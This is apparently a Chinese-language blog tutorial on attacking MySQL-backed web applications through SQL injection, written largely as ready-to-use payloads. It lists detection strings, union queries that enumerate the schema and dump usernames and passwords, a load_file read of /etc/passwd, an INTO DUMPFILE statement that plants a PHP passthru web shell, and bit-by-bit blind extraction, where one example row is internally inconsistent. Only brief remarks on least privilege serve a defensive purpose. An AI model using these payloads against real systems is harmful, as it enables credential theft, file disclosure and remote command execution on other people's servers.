攻击数据存储区—-SQL注入

通常SQL注入是服务器将用户输入的参数作为查询条件,直接拼接SQL语句,将查询结果返回给客户端。

一、SQL常见的5中检测方式
1. 基于报错的检测方法(low)
‘ ” % ()
2. 基于布尔的检测
1’ and ‘1’=’1 / 1′ and ‘1
1’ and ‘1’=’2 / 1′ and ‘0
3. 表列数/显示信息位于哪一列
‘order by 9– 按查询列号排序(注释符: — 特别注意结尾有一个空格)
select * 表字段数=查询字段数
4. 联合查询
‘union select 1,2–
‘union all select database(),2–
5. 基于时延
分别在and前面给正确值和错误值,判断and后面的语句是否执行
‘ and (select * from (select(sleep(5)))a)–

二、利用SQL注入
基础利用部分(information_schema可用)
1.  ‘ union select database(),substring_index(USER(),”@”,1)–
2. DB用户: user()
3. DB版本:version()
4. 全局函数:@@datadir、@@hostname、@@VERSION、@@version_compile_os
5. 当前库:database()
6. ASCII转字符:char()
7. 连接字符串,用于将几列数据归到一列:CONCAT_WS(function1(),function2(),function3())
8. 计算hash值:md5()
9. Mysql数据结构  information_schema
10. 所有库所有:‘ union select table_name,table_schema from information_schema.tables–
11. 统计每个库中表的数量
‘ UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema —
12. 某数据库的表名
‘ union select table_name,table_schema from information_schema.tables where table_schema=’sqlname’–
13. user表中的所有列
‘ union select table_name,column_name from information_schema.columns where table_schema=’dvwa’ and table_name=’users’–
14. 查询user,password中的内容
‘ union select user,password from users– 一般密码会是加salt的散列值,但是也有应用程序开发者会使用易于攻破的hash函数,可以将password的数据用密码破解工具john试一下
进一步利用部分
1.读取文件 ‘ union SELECT null, load_file(‘/etc/passwd’)–
2.写入文件 ‘ union select null,”<?php passthru($_GET[‘cmd’]); ?>” INTO DUMPFILE “/var/ www/a.php” —
上面的语句直接将文件写到了www目录,这个一般是无法实现的。因为SQL用户一般没有对www的写入权限,因此不会写入成功。但是我们可用写入到一个sql用户一定可以写入的目录,比如/tmp目录
‘ union select null,”<?php passthru($_GET[‘cmd’]); ?>” INTO DUMPFILE “/tmp/a.php” —
但是我们要主要另一件事,是不是我们在目标服务器写入我们想要执行的代码,我们就可以在浏览器构造URL进行执行了?这个就要看web应用程序的配置了。就上面写入tmp的文件来说,一般www是无法读取的,因为www没有权限,所以也就无法构造URL进行命令执行。其实上面写入的语句不单单是命令执行,和getshell已经没什么区别了。从中我们可以看到,最小权限原则真的很重要,减少web个组件用户的信任关系更是相当重要。
3.保存下载的数据库(这种方式一般无法实现)
‘ union select null, concat(user,0x3a,password) from users INTO OUTFILE ‘/ tmp/a.db’–
数据库元信息不可以时的利用(无权读取information_schema库 / 拒绝union、order by语句
1. 猜列名:’ and column is null– 在这里可以使用字典,结合burpsuite的intruder工具进行,当然可以使用外部字典,也可以使用burp自身的字典
2. 猜表名:’ and table.user is null–
3. 猜库里其他的表:’ and (select sqlname from table)>0– 当table值存在于数据库中则select sqlname from table非空,则and后为真
4. 猜字段内容: ‘ or user=’admin / ‘ or user like ‘ %a% 通配符匹配,前面为包含a的字符串
5. 当数据库可写时便可以使用 update、insert、drop、delete等命令,不过这几个命令都很危险,有可能试数据库完整性遭到破坏。在清楚payload可能造成的后果后,小心验证使用
6. 使用存储过程。存储过程虽然在一方面可以减轻SQL注入的风险,但是绝不是使用存储过程就不会有SQL注入漏洞。甚至有些存储过程可以被攻击者利用

 
三、SQL盲注
应用程序不显示数据库內建的报错信息
当程序员隐藏了数据库內建的报错信息,代换为普通的错误提示,sql注入将无法依据报错信息判断注入语句的执行结果。因而称为盲注
思路:基于逻辑真假
高级利用:
1′ and ORD(mid((VERSION()),1,1))&1>0–
MID(‘findys’,2,3) nd
ORD()函数用于取ASCII的十进制数 ORD(a) 97
在ORD(a,b,c)后面跟上&,用于取十进制的某个二进制位,取值为1,4,8,16,32,64,128,分别表示某位上为1。其中c用于取不同的二进制位。b用于换字符位置。
比如对于
1′ and ORD(mid(xxxx),1,1))&1>0– 真 1
1′ and ORD(mid(xxxx),1,1))&2>0– 真 1
1′ and ORD(mid(xxxx),1,1))&4>0– 真 1
1′ and ORD(mid(xxxx),1,1))&8>0– 假 0
1′ and ORD(mid(xxxx),1,1))&16>0– 真 1
1′ and ORD(mid(xxxx),1,1))&32>0– 假 0
1′ and ORD(mid(xxxx),1,1))&64>0– 真 1
1′ and ORD(mid(xxxx),1,1))&128>0– 真 0
则可推测出 xxxx的第一位位(01010111)转为10进制则为87,对应ASCII为W

发表评论

电子邮件地址不会被公开。 必填项已用*标注